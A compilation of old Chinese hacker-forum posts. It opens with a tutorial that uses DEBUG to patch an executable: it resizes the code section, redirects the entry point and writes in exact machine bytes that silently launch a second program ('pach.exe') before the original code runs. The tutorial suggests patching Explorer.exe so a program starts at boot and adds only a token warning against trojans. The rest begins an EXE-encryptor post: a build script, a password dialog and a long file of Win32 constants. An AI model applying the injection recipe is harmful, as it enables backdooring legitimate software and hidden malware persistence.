是一个反汇编代码，我们了解到ShellExecuteA的调用的机器码为FF1578734000,

有了上面这三个重要信息后，我们开始最艰难的工作了:

=============================================================================

1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样

我们的代码才能被装入内存.因为Virtual Size值存在180的位置，所以我们可以这么做:

debug n ↙

-f280 l2 0,3c

-w

-q

这样我们就改好了代码段的大小

2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下

因为入口地址在a8这个位置,所以这么做

debug n ↙

-f1a8 l2 9d,4a

-w

-q

这样我们修改好了入口地址

3.最后一步最难了，就是设计汇编代码了，来吧，精神点!

-------------------------------------------------------

内存地址 机器码 汇编指令

-------------------------------------------------------

00404A9D 6A05 push 5

00404A9F 6A00 push 0

00404AA1 6A00 push 0

00404AA3 68E04B4000 push 404BE0h

00404AA8 68F04B4000 push 404BF0h

00404AAD 6A00 push 0

00404AAF FF1578734000 call dword ptr [ShellExecuteA]

00404AB5 E941010000 jmp loc_00404BFB

00404BE0 6861636B2E657865 db 'pach.exe',0

00404BF0 6F70656E db 'open',0

00404BFB E900C4FFFF jmp loc_00401000

--------------------------------------------------------------

这就是我们要写的全部汇编指令，不长，但你要懂他的原理,好吧，我们来分析

其中的

push 5

push 0

push 0

push 404BE0h

push 404BF0h

push 0

是把6个参数压入堆栈，供ShellExecute函数使用,至于该函数的参数结构，大家看win32.hlp的描述

然后call dword ptr [ShellExecuteA]这是调用这个函数了，其效果等同于下面的C语言格式

ShellExecuteA(0,'open','pach.exe',0,0,5);

也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h

这两个内存地址,因为在该函数中，字符串参数的传递是传的字符串地址，因此

00404BE0 6861636B2E657865 db 'pach.exe',0

00404BF0 6F70656E db 'open',0

这上面两行就是在内存中定义了两个字符串.

00404AB5 E941010000 jmp loc_00404BFB

上面这行是在call 完函数后跳到00404BFB这个地址.

00404BFB E900C4FFFF jmp loc_00401000

这一行是跳回原来的入口地址1000，执行原来的程序.

-----------------------------------------------------------------

好了，原理讲完了，我们最后要把这些指令放入代码段，当然就是把机器码放进去了,方

法如下:

因为代码段在400位置，而我们新入口点在3b9d，所以开始放数的地方是100+400+3a9d=3f9d

其中加的100是debug在内存中的基地址,所以做法如下:

debug n ↙

-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0

-f40e0 l9 'pach.exe',0

-f40f0 l5 'open',0

-f40fb l5 e9,0,c4,ff,ff

-w

-q

好了，我们终于完成了最艰难的任务，可以颀赏一下成果了，把n.exe用n代换，方法为copy n n.exe打开n.exe

我们发现，在启动记事本程序的时候，同时打开了pach.exe这个程序，呵呵，我们终于成功了

想看效果，到这里下载njhhack.top263.net/pach.zip这个不是木马，是演示程序，大家不要害怕

---------------------------------------------------

用同样的方法，你可以给任何程序打补丁，只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...

这些函数就行，比如我们可以给Explorer.exe打补丁，这样我们就可以在启动电脑时，自动运行pach.exe程序了

你还可以给很多这样的程序打补丁，只要你愿意.

现在大家知道汇编语言有多有用了吧，以后好好学吧，当然还要学pe文件的格式哟,不过本人在此告诫

大家不要用这个补丁技术来启动你的木马程序，若不听劝告，引起的后果与本人无关.

------njhhack

2001.8.25

e-mail:njhhack@21cn.com

oicq:10772919

主页:hotsky.363.net


EXE加密
类似UPX等等的技术：

来自：jingtao, 时间：2001-6-14 11:29:00, ID：566256

我还是放一个EXE加密器的代码出来吧，这个比Mincer的要好。程序用TASM编译.

因为文件比较内容长，我分两次贴吧:

-------------------------------------------------------------------

1、Make.bat，内容如下:

rc passw.rc

cvtres /OUT:rsrc.obj passw.res

tasm32 /ml /m3 passw

tlink32 /Tpe /aa /c /x /Hr:8388608 passw,,, import32.lib,,passw.res

fs /rr2 passw.EXE

fs /c passw.exe

del *.obj

del *.res

--------------------------------------------------------------------

2、Passw.rc，内容如下(这个是输入密码的对话框):

#include <windows.h>

1235 DIALOG FIXED DISCARDABLE 72, 16, 160, 28

STYLE DS_3DLOOK | DS_CONTROL | WS_CHILD | WS_CLIPSIBLINGS | WS_VISIBLE

CAPTION ""

FONT 8, "MS Shell Dlg"

BEGIN

CONTROL "&Password:", -1, "STATIC", SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 8, 8, 40, 8

CONTROL "", 1234, "EDIT", ES_LEFT | WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP, 48, 8, 104, 12

END

623 icon discardable "passw.ico"

-----------------------------------------------------------------------

3、Win.inc，内容如下:

NULL equ 0

TRUE equ 1

FALSE equ 0

MAX_PATH equ 260

PIPE_WAIT equ 00000000h

PIPE_NOWAIT equ 00000001h

PIPE_READMODE_BYTE equ 00000000h

PIPE_READMODE_MESSAGE equ 00000002h

PIPE_TYPE_BYTE equ 00000000h

PIPE_TYPE_MESSAGE equ 00000004h

SC_SIZE equ 0F000h

SC_MOVE equ 0F010h

SC_MINIMIZE equ 0F020h

SC_MAXIMIZE equ 0F030h

SC_NEXTWINDOW equ 0F040h

SC_PREVWINDOW equ 0F050h

SC_CLOSE equ 0F060h

SC_VSCROLL equ 0F070h

SC_HSCROLL equ 0F080h

SC_MOUSEMENU equ 0F090h

SC_KEYMENU equ 0F100h

SC_ARRANGE equ 0F110h

SC_RESTORE equ 0F120h

SC_TASKLIST equ 0F130h

SC_SCREENSAVE equ 0F140h

SC_HOTKEY equ 0F150h

SC_DEFAULT equ 0F160h

SC_MONITORPOWER equ 0F170h

SC_CONTEXTHELP equ 0F180h

SC_SEPARATOR equ 0F00Fh

WM_NULL equ 0000h

WM_CREATE equ 0001h

WM_DESTROY equ 0002h

WM_MOVE equ 0003h

WM_SIZE equ 0005h

WM_ACTIVATE equ 0006h

WA_INACTIVE equ 0

WA_ACTIVE equ 1

WA_CLICKACTIVE equ 2

WM_SETFOCUS equ 0007h

WM_KILLFOCUS equ 0008h

WM_ENABLE equ 000Ah

WM_SETREDRAW equ 000Bh

WM_SETTEXT equ 000Ch

WM_GETTEXT equ 000Dh

WM_GETTEXTLENGTH equ 000Eh

WM_PAINT equ 000Fh

WM_CLOSE equ 0010h

WM_QUERYENDSESSION equ 0011h

WM_QUIT equ 0012h

WM_QUERYOPEN equ 0013h

WM_ERASEBKGND equ 0014h

WM_SYSCOLORCHANGE equ 0015h

WM_ENDSESSION equ 0016h

WM_SHOWWINDOW equ 0018h

WM_WININICHANGE equ 001Ah

WM_DEVMODECHANGE equ 001Bh

WM_ACTIVATEAPP equ 001Ch

WM_FONTCHANGE equ 001Dh

WM_TIMECHANGE equ 001Eh

WM_CANCELMODE equ 001Fh

WM_SETCURSOR equ 0020h

WM_MOUSEACTIVATE equ 0021h

WM_CHILDACTIVATE equ 0022h

WM_QUEUESYNC equ 0023h

WM_GETMINMAXINFO equ 0024h

WM_PAINTICON equ 0026h

WM_ICONERASEBKGND equ 0027h

WM_NEXTDLGCTL equ 0028h

WM_SPOOLERSTATUS equ 002Ah

WM_DRAWITEM equ 002Bh

WM_MEASUREITEM equ 002Ch

WM_DELETEITEM equ 002Dh

WM_VKEYTOITEM equ 002Eh

WM_CHARTOITEM equ 002Fh

WM_SETFONT equ 0030h

WM_GETFONT equ 0031h

WM_SETHOTKEY equ 0032h

WM_GETHOTKEY equ 0033h

WM_QUERYDRAGICON equ 0037h

WM_COMPAREITEM equ 0039h

WM_COMPACTING equ 0041h

WM_COMMNOTIFY equ 0044h ; /* no longer suported */

WM_WINDOWPOSCHANGING equ 0046h

WM_WINDOWPOSCHANGED equ 0047h

WM_POWER equ 0048h

WM_COPYDATA equ 004Ah

WM_CANCELJOURNAL equ 004Bh

WM_NOTIFY equ 004Eh

WM_INPUTLANGCHANGERequEST equ 0050h

WM_INPUTLANGCHANGE equ 0051h

WM_TCARD equ 0052h

WM_HELP equ 0053h

WM_USERCHANGED equ 0054h

WM_NOTIFYFORMAT equ 0055h

NFR_ANSI equ 1h

NFR_UNICODE equ 2h

NF_QUERY equ 3h

NF_RequERY equ 4h

WM_CONTEXTMENU equ 007Bh

WM_STYLECHANGING equ 007Ch

WM_STYLECHANGED equ 007Dh

WM_DISPLAYCHANGE equ 007Eh

WM_GETICON equ 007Fh

WM_SETICON equ 0080h

WM_NCCREATE equ 0081h

WM_NCDESTROY equ 0082h

WM_NCCALCSIZE equ 0083h

WM_NCHITTEST equ 0084h

WM_NCPAINT equ 0085h

WM_NCACTIVATE equ 0086h

WM_GETDLGCODE equ 0087h

WM_NCMOUSEMOVE equ 00A0h

WM_NCLBUTTONDOWN equ 00A1h

WM_NCLBUTTONUP equ 00A2h

WM_NCLBUTTONDBLCLK equ 00A3h

WM_NCRBUTTONDOWN equ 00A4h

WM_NCRBUTTONUP equ 00A5h

WM_NCRBUTTONDBLCLK equ 00A6h

WM_NCMBUTTONDOWN equ 00A7h

WM_NCMBUTTONUP equ 00A8h

WM_NCMBUTTONDBLCLK equ 00A9h

WM_KEYFIRST equ 0100h

WM_KEYDOWN equ 0100h

WM_KEYUP equ 0101h

WM_CHAR equ 0102h

WM_DEADCHAR equ 0103h

WM_SYSKEYDOWN equ 0104h

WM_SYSKEYUP equ 0105h

WM_SYSCHAR equ 0106h

WM_SYSDEADCHAR equ 0107h

WM_KEYLAST equ 0108h

WM_IME_STARTCOMPOSITION equ 010Dh

WM_IME_ENDCOMPOSITION equ 010Eh

WM_IME_COMPOSITION equ 010Fh

WM_IME_KEYLAST equ 010Fh

WM_INITDIALOG equ 0110h

WM_COMMAND equ 0111h

WM_SYSCOMMAND equ 0112h

WM_TIMER equ 0113h

WM_HSCROLL equ 0114h

WM_VSCROLL equ 0115h

WM_INITMENU equ 0116h

WM_INITMENUPOPUP equ 0117h

WM_MENUSELECT equ 011Fh

WM_MENUCHAR equ 0120h

WM_ENTERIDLE equ 0121h

WM_CTLCOLORMSGBOX equ 0132h

WM_CTLCOLOREDIT equ 0133h

WM_CTLCOLORLISTBOX equ 0134h

WM_CTLCOLORBTN equ 0135h

WM_CTLCOLORDLG equ 0136h

WM_CTLCOLORSCROLLBAR equ 0137h

WM_CTLCOLORSTATIC equ 0138h

WM_MOUSEFIRST equ 0200h

WM_MOUSEMOVE equ 0200h

WM_LBUTTONDOWN equ 0201h

WM_LBUTTONUP equ 0202h

WM_LBUTTONDBLCLK equ 0203h

WM_RBUTTONDOWN equ 0204h

WM_RBUTTONUP equ 0205h

WM_RBUTTONDBLCLK equ 0206h

WM_MBUTTONDOWN equ 0207h

WM_MBUTTONUP equ 0208h

WM_MBUTTONDBLCLK equ 0209h

WM_MOUSEWHEEL equ 020Ah

WM_PARENTNOTIFY equ 0210h

MENULOOP_WINDOW equ 0h

MENULOOP_POPUP equ 1h

WM_ENTERMENULOOP equ 0211h

WM_EXITMENULOOP equ 0212h

WM_SIZING equ 0214h

WM_CAPTURECHANGED equ 0215h

WM_MOVING equ 0216h

WM_POWERBROADCAST equ 0218h

WM_DEVICECHANGE equ 0219h

WM_IME_SETCONTEXT equ 0281h

WM_IME_NOTIFY equ 0282h

WM_IME_CONTROL equ 0283h

WM_IME_COMPOSITIONFULL equ 0284h

WM_IME_SELECT equ 0285h

WM_IME_CHAR equ 0286h

WM_IME_KEYDOWN equ 0290h

WM_IME_KEYUP equ 0291h

WM_MDICREATE equ 0220h

WM_MDIDESTROY equ 0221h

WM_MDIACTIVATE equ 0222h

WM_MDIRESTORE equ 0223h

WM_MDINEXT equ 0224h

WM_MDIMAXIMIZE equ 0225h

WM_MDITILE equ 0226h

WM_MDICASCADE equ 0227h

WM_MDIICONARRANGE equ 0228h

WM_MDIGETACTIVE equ 0229h

WM_MDISETMENU equ 0230h

WM_ENTERSIZEMOVE equ 0231h

WM_EXITSIZEMOVE equ 0232h

WM_DROPFILES equ 0233h

WM_MDIREFRESHMENU equ 0234h

WM_MOUSEHOVER equ 02A1h

WM_MOUSELEAVE equ 02A3h

WM_CUT equ 0300h

WM_COPY equ 0301h

WM_PASTE equ 0302h

WM_CLEAR equ 0303h

WM_UNDO equ 0304h

WM_RENDERFORMAT equ 0305h

WM_RENDERALLFORMATS equ 0306h

WM_DESTROYCLIPBOARD equ 0307h

WM_DRAWCLIPBOARD equ 0308h

WM_PAINTCLIPBOARD equ 0309h

WM_VSCROLLCLIPBOARD equ 030Ah

WM_SIZECLIPBOARD equ 030Bh

WM_ASKCBFORMATNAME equ 030Ch

WM_CHANGECBCHAIN equ 030Dh

WM_HSCROLLCLIPBOARD equ 030Eh

WM_QUERYNEWPALETTE equ 030Fh

WM_PALETTEISCHANGING equ 0310h

WM_PALETTECHANGED equ 0311h

WM_HOTKEY equ 0312h

WM_PRINT equ 0317h

WM_PRINTCLIENT equ 0318h

WM_HANDHELDFIRST equ 0358h

WM_HANDHELDLAST equ 035Fh

WM_AFXFIRST equ 0360h

WM_AFXLAST equ 037Fh

WM_PENWINFIRST equ 0380h

WM_PENWINLAST equ 038Fh

MB_OK equ 000000000h

MB_OKCANCEL equ 000000001h

MB_ABORTRETRYIGNORE equ 000000002h

MB_YESNOCANCEL equ 000000003h

MB_YESNO equ 000000004h

MB_RETRYCANCEL equ 000000005h

MB_TYPEMASK equ 00000000fh

MB_ICONHAND equ 000000010h

MB_ICONQUESTION equ 000000020h

MB_ICONEXCLAMATION equ 000000030h

MB_ICONASTERISK equ 000000040h

MB_ICONMASK equ 0000000f0h

MB_ICONINFORMATION equ 000000040h

MB_ICONSTOP equ 000000010h

MB_DEFBUTTON1 equ 000000000h

MB_DEFBUTTON2 equ 000000100h

MB_DEFBUTTON3 equ 000000200h

MB_DEFMASK equ 000000f00h

MB_APPLMODAL equ 000000000h

MB_SYSTEMMODAL equ 000001000h

MB_TASKMODAL equ 000002000h

MB_NOFOCUS equ 000008000h

IDNO equ 7

IDYES equ 6

IDCANCEL equ 2

SB_HORZ equ 0

SB_VERT equ 1

SB_CTL equ 2

SB_BOTH equ 3

SB_THUMBPOSITION equ 4

SB_ENDSCROLL equ 8

SW_HIDE equ 00h

SW_SHOWNORMAL equ 01h

SW_SHOWMINIMIZED equ 02h

SW_SHOWMAXIMIZED equ 03h

SW_SHOW equ 05h

SW_RESTORE equ 09h

SW_SHOWDEFAULT equ 0Ah

WM_USER equ 0400h

WS_POPUP equ 080000000h

WS_CHILD equ 040000000h

WS_MINIMIZE equ 020000000h

WS_VISIBLE equ 010000000h

WS_MAXIMIZE equ 001000000h

WS_CAPTION equ 000C00000h

WS_BORDER equ 000800000h

WS_DLGFRAME equ 000400000h

WS_VSCROLL equ 000200000h

WS_HSCROLL equ 000100000h

WS_SYSMENU equ 000080000h

;WS_SIZEBOX equ 000040000h

WS_MINIMIZEBOX equ 000020000h

WS_MAXIMIZEBOX equ 000010000h

WS_OVERLAPPEDWINDOW equ 000CF0000h

WS_EX_NOPARENTNOTIFY equ 000000004h

WS_EX_WINDOWEDGE equ 000000100h

WS_EX_CLIENTEDGE equ 000000200h

WS_EX_OVERLAPPEDWINDOW equ WS_EX_WINDOWEDGE + WS_EX_CLIENTEDGE

CS_VREDRAW equ 00001h

CS_HREDRAW equ 00002h

CS_PARENTDC equ 00080h

CS_BYTEALIGNWINDOW equ 02000h

BDR_RAISEDOUTER equ 01h

BDR_SUNKENOUTER equ 02h

BDR_RAISEDINNER equ 04h

BDR_SUNKENINNER equ 08h

EDGE_RAISED equ BDR_RAISEDOUTER + BDR_RAISEDINNER

EDGE_SUNKEN equ BDR_SUNKENOUTER + BDR_SUNKENINNER

EDGE_ETCHED equ BDR_SUNKENOUTER + BDR_RAISEDINNER

EDGE_BUMP equ BDR_RAISEDOUTER + BDR_SUNKENINNER

BF_LEFT equ 01h

BF_TOP equ 02h

BF_RIGHT equ 04h

BF_BOTTOM equ 08h

BF_RECT equ BF_LEFT + BF_TOP + BF_RIGHT + BF_BOTTOM

IDOK equ 1

IDCANCEL equ 2

IDABORT equ 3

IDRETRY equ 4

IDIGNORE equ 5

IDYES equ 6

IDNO equ 7

IDCLOSE equ 8

IDHELP equ 9

COLOR_BTNFACE equ 15

DLGWINDOWEXTRA equ 30

IDC_ARROW equ 32512

WM_CTLCOLORDLG equ 136h

WM_SETFOCUS equ 7

WM_KEYFIRST equ 0100h

WM_KEYDOWN equ 0100h

WM_KEYUP equ 0101h

WM_CHAR equ 0102h

WM_DEADCHAR equ 0103h

WM_SYSKEYDOWN equ 0104h

WM_SYSKEYUP equ 0105h

WM_SYSCHAR equ 0106h

WM_SYSDEADCHAR equ 0107h

WM_KEYLAST equ 0108h

WM_SETICON equ 80h

DS_3DLOOK equ 0004H

DS_FIXEDSYS equ 0008H

DS_NOFAILCREATE equ 0010H

DS_CONTROL equ 0400H

DS_CENTER equ 0800H

DS_CENTERMOUSE equ 1000H

DS_CONTEXTHELP equ 2000H

DS_ABSALIGN equ 01h

DS_SYSMODAL equ 02h

DS_LOCALEDIT equ 20h

DS_SETFONT equ 40h

DS_MODALFRAME equ 80h

DS_NOIDLEMSG equ 100h

DS_SETFOREGROUND equ 200h

FILE_FLAG_WRITE_THROUGH equ 80000000h

FILE_FLAG_OVERLAPPED equ 40000000h

FILE_FLAG_NO_BUFFERING equ 20000000h

FILE_FLAG_RANDOM_ACCESS equ 10000000h

FILE_FLAG_SequENTIAL_SCAN equ 08000000h

FILE_FLAG_DELETE_ON_CLOSE equ 04000000h

FILE_FLAG_BACKUP_SEMANTICS equ 02000000h

FILE_FLAG_POSIX_SEMANTICS equ 01000000h

CREATE_NEW equ 1

CREATE_ALWAYS equ 2

OPEN_EXISTING equ 3

OPEN_ALWAYS equ 4

TRUNCATE_EXISTING equ 5

GMEM_FIXED equ 0000h

GMEM_MOVEABLE equ 0002h

GMEM_NOCOMPACT equ 0010h

GMEM_NODISCARD equ 0020h

GMEM_ZEROINIT equ 0040h

GMEM_MODIFY equ 0080h

GMEM_DISCARDABLE equ 0100h

GMEM_NOT_BANKED equ 1000h

GMEM_SHARE equ 2000h

GMEM_DDESHARE equ 2000h

GMEM_NOTIFY equ 4000h

GMEM_LOWER equ GMEM_NOT_BANKED

GMEM_VALID_FLAGS equ 7F72h

GMEM_INVALID_HANDLE equ 8000h

LMEM_FIXED equ 0000h

LMEM_MOVEABLE equ 0002h

LMEM_NOCOMPACT equ 0010h

LMEM_NODISCARD equ 0020h

LMEM_ZEROINIT equ 0040h

LMEM_MODIFY equ 0080h

LMEM_DISCARDABLE equ 0F00h

LMEM_VALID_FLAGS equ 0F72h

LMEM_INVALID_HANDLE equ 8000h

LHND equ (LMEM_MOVEABLE or LMEM_ZEROINIT)

LPTR equ (LMEM_FIXED or LMEM_ZEROINIT)

NONZEROLHND equ (LMEM_MOVEABLE)

NONZEROLPTR equ (LMEM_FIXED)

LMEM_DISCARDED equ 4000h

LMEM_LOCKCOUNT equ 00FFh

DRIVE_UNKNOWN equ 0

DRIVE_NO_ROOT_DIR equ 1

DRIVE_REMOVABLE equ 2

DRIVE_FIXED equ 3

DRIVE_REMOTE equ 4

DRIVE_CDROM equ 5

DRIVE_RAMDISK equ 6

FILE_TYPE_UNKNOWN equ 0000h

FILE_TYPE_DISK equ 0001h

FILE_TYPE_CHAR equ 0002h

FILE_TYPE_PIPE equ 0003h

FILE_TYPE_REMOTE equ 8000h

;================================ WINNT.H ===============

FILE_READ_DATA equ ( 0001h )

FILE_LIST_DIRECTORY equ ( 0001h )

FILE_WRITE_DATA equ ( 0002h )

FILE_ADD_FILE equ ( 0002h )

FILE_APPEND_DATA equ ( 0004h )

FILE_ADD_SUBDIRECTORY equ ( 0004h )

FILE_CREATE_PIPE_INSTANCE equ ( 0004h )

FILE_READ_EA equ ( 0008h )

FILE_WRITE_EA equ ( 0010h )

FILE_EXECUTE equ ( 0020h )

FILE_TRAVERSE equ ( 0020h )

FILE_DELETE_CHILD equ ( 0040h )

FILE_READ_ATTRIBUTES equ ( 0080h )

FILE_WRITE_ATTRIBUTES equ ( 0100h )

;FILE_ALL_ACCESS equ (STANDARD_RIGHTS_RequIRED or SYNCHRONIZE or 1FFh)

;FILE_GENERIC_READ equ (STANDARD_RIGHTS_READ or FILE_READ_DATA or FILE_READ_ATTRIBUTES or FILE_READ_EA or SYNCHRONIZE)

;FILE_GENERIC_WRITE equ (STANDARD_RIGHTS_WRITE or FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES or FILE_WRITE_EA or FILE_APPEND_DATA or SYNCHRONIZE)

;FILE_GENERIC_EXECUTE equ (STANDARD_RIGHTS_EXECUTE or FILE_READ_ATTRIBUTES or FILE_EXECUTE or SYNCHRONIZE)

FILE_SHARE_READ equ 00000001h

FILE_SHARE_WRITE equ 00000002h

FILE_SHARE_DELETE equ 00000004h

FILE_ATTRIBUTE_READONLY equ 00000001h

FILE_ATTRIBUTE_HIDDEN equ 00000002h

FILE_ATTRIBUTE_SYSTEM equ 00000004h

FILE_ATTRIBUTE_DIRECTORY equ 00000010h

FILE_ATTRIBUTE_ARCHIVE equ 00000020h

FILE_ATTRIBUTE_NORMAL equ 00000080h

FILE_ATTRIBUTE_TEMPORARY equ 00000100h

FILE_ATTRIBUTE_COMPRESSED equ 00000800h

FILE_ATTRIBUTE_OFFLINE equ 00001000h

FILE_NOTIFY_CHANGE_FILE_NAME equ 00000001h

FILE_NOTIFY_CHANGE_DIR_NAME equ 00000002h

FILE_NOTIFY_CHANGE_ATTRIBUTES equ 00000004h

FILE_NOTIFY_CHANGE_SIZE equ 00000008h

FILE_NOTIFY_CHANGE_LAST_WRITE equ 00000010h

FILE_NOTIFY_CHANGE_LAST_ACCESS equ 00000020h

FILE_NOTIFY_CHANGE_CREATION equ 00000040h

FILE_NOTIFY_CHANGE_SECURITY equ 00000100h

FILE_ACTION_ADDED equ 00000001h

FILE_ACTION_REMOVED equ 00000002h

FILE_ACTION_MODIFIED equ 00000003h

FILE_ACTION_RENAMED_OLD_NAME equ 00000004h

FILE_ACTION_RENAMED_NEW_NAME equ 00000005h

FILE_CASE_SENSITIVE_SEARCH equ 00000001h

FILE_CASE_PRESERVED_NAMES equ 00000002h

FILE_UNICODE_ON_DISK equ 00000004h

FILE_PERSISTENT_ACLS equ 00000008h

FILE_FILE_COMPRESSION equ 00000010h

FILE_VOLUME_IS_COMPRESSED equ 00008000h

GENERIC_READ equ 80000000h

GENERIC_WRITE equ 40000000h

GENERIC_EXECUTE equ 20000000h

GENERIC_ALL equ 10000000h

DELETE equ 00010000h

READ_CONTROL equ 00020000h

WRITE_DAC equ 00040000h

WRITE_OWNER equ 00080000h

SYNCHRONIZE equ 00100000h

STANDARD_RIGHTS_RequIRED equ 000F0000h

STANDARD_RIGHTS_READ equ READ_CONTROL

STANDARD_RIGHTS_WRITE equ READ_CONTROL

STANDARD_RIGHTS_EXECUTE equ READ_CONTROL

STANDARD_RIGHTS_ALL equ 001F0000h

SPECIFIC_RIGHTS_ALL equ 0000FFFFh

FILE_BEGIN equ 0

FILE_CURRENT equ 1

FILE_END equ 2

ES_LEFT equ 0000h

ES_CENTER equ 0001h

ES_RIGHT equ 0002h

ES_MULTILINE equ 0004h

ES_UPPERCASE equ 0008h

ES_LOWERCASE equ 0010h

ES_PASSWORD equ 0020h

ES_AUTOVSCROLL equ 0040h

ES_AUTOHSCROLL equ 0080h

ES_NOHIDESEL equ 0100h

ES_OEMCONVERT equ 0400h

ES_READONLY equ 0800h

ES_WANTRETURN equ 1000h

EN_SETFOCUS equ 0100h

EN_KILLFOCUS equ 0200h

EN_CHANGE equ 0300h

EN_UPDATE equ 0400h

EN_ERRSPACE equ 0500h

EN_MAXTEXT equ 0501h

EN_HSCROLL equ 0601h

EN_VSCROLL equ 0602h

EC_LEFTMARGIN equ 0001h

EC_RIGHTMARGIN equ 0002h

EC_USEFONTINFO equ 0ffffh

EM_GETSEL equ 00B0h

EM_SETSEL equ 00B1h

EM_GETRECT equ 00B2h

EM_SETRECT equ 00B3h

EM_SETRECTNP equ 00B4h

EM_SCROLL equ 00B5h

EM_LINESCROLL equ 00B6h

EM_SCROLLCARET equ 00B7h

EM_GETMODIFY equ 00B8h

EM_SETMODIFY equ 00B9h

EM_GETLINECOUNT equ 00BAh

EM_LINEINDEX equ 00BBh

EM_SETHANDLE equ 00BCh

EM_GETHANDLE equ 00BDh

EM_GETTHUMB equ 00BEh

EM_LINELENGTH equ 00C1h

EM_REPLACESEL equ 00C2h

EM_GETLINE equ 00C4h

EM_LIMITTEXT equ 00C5h

EM_CANUNDO equ 00C6h

EM_UNDO equ 00C7h

EM_FMTLINES equ 00C8h

EM_LINEFROMCHAR equ 00C9h

EM_SETTABSTOPS equ 00CBh

EM_SETPASSWORDCHAR equ 00CCh

EM_EMPTYUNDOBUFFER equ 00CDh

EM_GETFIRSTVISIBLELINE equ 00CEh

EM_SETREADONLY equ 00CFh

EM_SETWORDBREAKPROC equ 00D0h

EM_GETWORDBREAKPROC equ 00D1h

EM_GETPASSWORDCHAR equ 00D2h

EM_SETMARGINS equ 00D3h

EM_GETMARGINS equ 00D4

EM_SETLIMITTEXT equ EM_LIMITTEXT

EM_GETLIMITTEXT equ 00D5h

EM_POSFROMCHAR equ 00D6h

EM_CHARFROMPOS equ 00D7h

WB_LEFT equ 0

WB_RIGHT equ 1

WB_ISDELIMITER equ 2

BS_PUSHBUTTON equ 00000000h

BS_DEFPUSHBUTTON equ 00000001h

BS_CHECKBOX equ 00000002h

BS_AUTOCHECKBOX equ 00000003h

BS_RADIOBUTTON equ 00000004h

BS_3STATE equ 00000005h

BS_AUTO3STATE equ 00000006h

BS_GROUPBOX equ 00000007h

BS_USERBUTTON equ 00000008h

BS_AUTORADIOBUTTON equ 00000009h

BS_OWNERDRAW equ 0000000Bh

BS_LEFTTEXT equ 00000020h

BS_TEXT equ 00000000h

BS_ICON equ 00000040h

BS_BITMAP equ 00000080h

BS_LEFT equ 00000100h

BS_RIGHT equ 00000200h

BS_CENTER equ 00000300h

BS_TOP equ 00000400h

BS_BOTTOM equ 00000800h

BS_VCENTER equ 00000C00h

BS_PUSHLIKE equ 00001000h

BS_MULTILINE equ 00002000h

BS_NOTIFY equ 00004000h

BS_FLAT equ 00008000h

BS_RIGHTBUTTON equ BS_LEFTTEXT

BN_CLICKED equ 0

BN_PAINT equ 1

BN_HILITE equ 2

BN_UNHILITE equ 3

BN_DISABLE equ 4

BN_DOUBLECLICKED equ 5

BN_PUSHED equ BN_HILITE

BN_UNPUSHED equ BN_UNHILITE

BN_DBLCLK equ BN_DOUBLECLICKED

BN_SETFOCUS equ 6

BN_KILLFOCUS equ 7

BM_GETCHECK equ 00F0h

BM_SETCHECK equ 00F1h

BM_GETSTATE equ 00F2h

BM_SETSTATE equ 00F3h

BM_SETSTYLE equ 00F4h

BM_CLICK equ 00F5h

BM_GETIMAGE equ 00F6h

BM_SETIMAGE equ 00F7h

BST_UNCHECKED equ 0000h

BST_CHECKED equ 0001h

BST_INDETERMINATE equ 0002h

BST_PUSHED equ 0004h

BST_FOCUS equ 0008h

SS_LEFT equ 00000000h

SS_CENTER equ 00000001h

SS_RIGHT equ 00000002h

SS_ICON equ 00000003h

SS_BLACKRECT equ 00000004h

SS_GRAYRECT equ 00000005h

SS_WHITERECT equ 00000006h

SS_BLACKFRAME equ 00000007h

SS_GRAYFRAME equ 00000008h

SS_WHITEFRAME equ 00000009h

SS_USERITEM equ 0000000Ah

SS_SIMPLE equ 0000000Bh

SS_LEFTNOWORDWRAP equ 0000000Ch

SS_OWNERDRAW equ 0000000Dh

SS_BITMAP equ 0000000Eh

SS_ENHMETAFILE equ 0000000Fh

SS_ETCHEDHORZ equ 00000010h

SS_ETCHEDVERT equ 00000011h

SS_ETCHEDFRAME equ 00000012h

SS_TYPEMASK equ 0000001Fh

SS_NOTIFY equ 00000100h

SS_CENTERIMAGE equ 00000200h

SS_RIGHTJUST equ 00000400h

SS_REALSIZEIMAGE equ 00000800h

SS_SUNKEN equ 00001000h

SS_ENDELLIPSIS equ 00004000h

SS_PATHELLIPSIS equ 00008000h

SS_WORDELLIPSIS equ 0000C000h

SS_ELLIPSISMASK equ 0000C000h

CDN_FIRST equ (0-601)

CDN_LAST equ (0-699)

OFN_READONLY equ 00000001h

OFN_OVERWRITEPROMPT equ 00000002h

OFN_HIDEREADONLY equ 00000004h

OFN_NOCHANGEDIR equ 00000008h

OFN_SHOWHELP equ 00000010h

OFN_ENABLEHOOK equ 00000020h

OFN_ENABLETEMPLATE equ 00000040h

OFN_ENABLETEMPLATEHANDLE equ 00000080h

OFN_NOVALIDATE equ 00000100h

OFN_ALLOWMULTISELECT equ 00000200h

OFN_EXTENSIONDIFFERENT equ 00000400h

OFN_PATHMUSTEXIST equ 00000800h

OFN_FILEMUSTEXIST equ 00001000h

OFN_CREATEPROMPT equ 00002000h

OFN_SHAREAWARE equ 00004000h

OFN_NOREADONLYRETURN equ 00008000h

OFN_NOTESTFILECREATE equ 00010000h

OFN_NONETWORKBUTTON equ 00020000h

OFN_NOLONGNAMES equ 00040000h

OFN_EXPLORER equ 00080000h

OFN_NODEREFERENCELINKS equ 00100000h

OFN_LONGNAMES equ 00200000h

OFN_SHAREFALLTHROUGH equ 2

OFN_SHARENOWARN equ 1

OFN_SHAREWARN equ 0

CDN_INITDONE equ (CDN_FIRST - 0000)

CDN_SELCHANGE equ (CDN_FIRST - 0001)

CDN_FOLDERCHANGE equ (CDN_FIRST - 0002)

CDN_SHAREVIOLATION equ (CDN_FIRST - 0003)

CDN_HELP equ (CDN_FIRST - 0004)

CDN_FILEOK equ (CDN_FIRST - 0005)

CDN_TYPECHANGE equ (CDN_FIRST - 0006)

DEBUG_PROCESS equ 00000001h

DEBUG_ONLY_THIS_PROCESS equ 00000002h

CREATE_SUSPENDED equ 00000004h

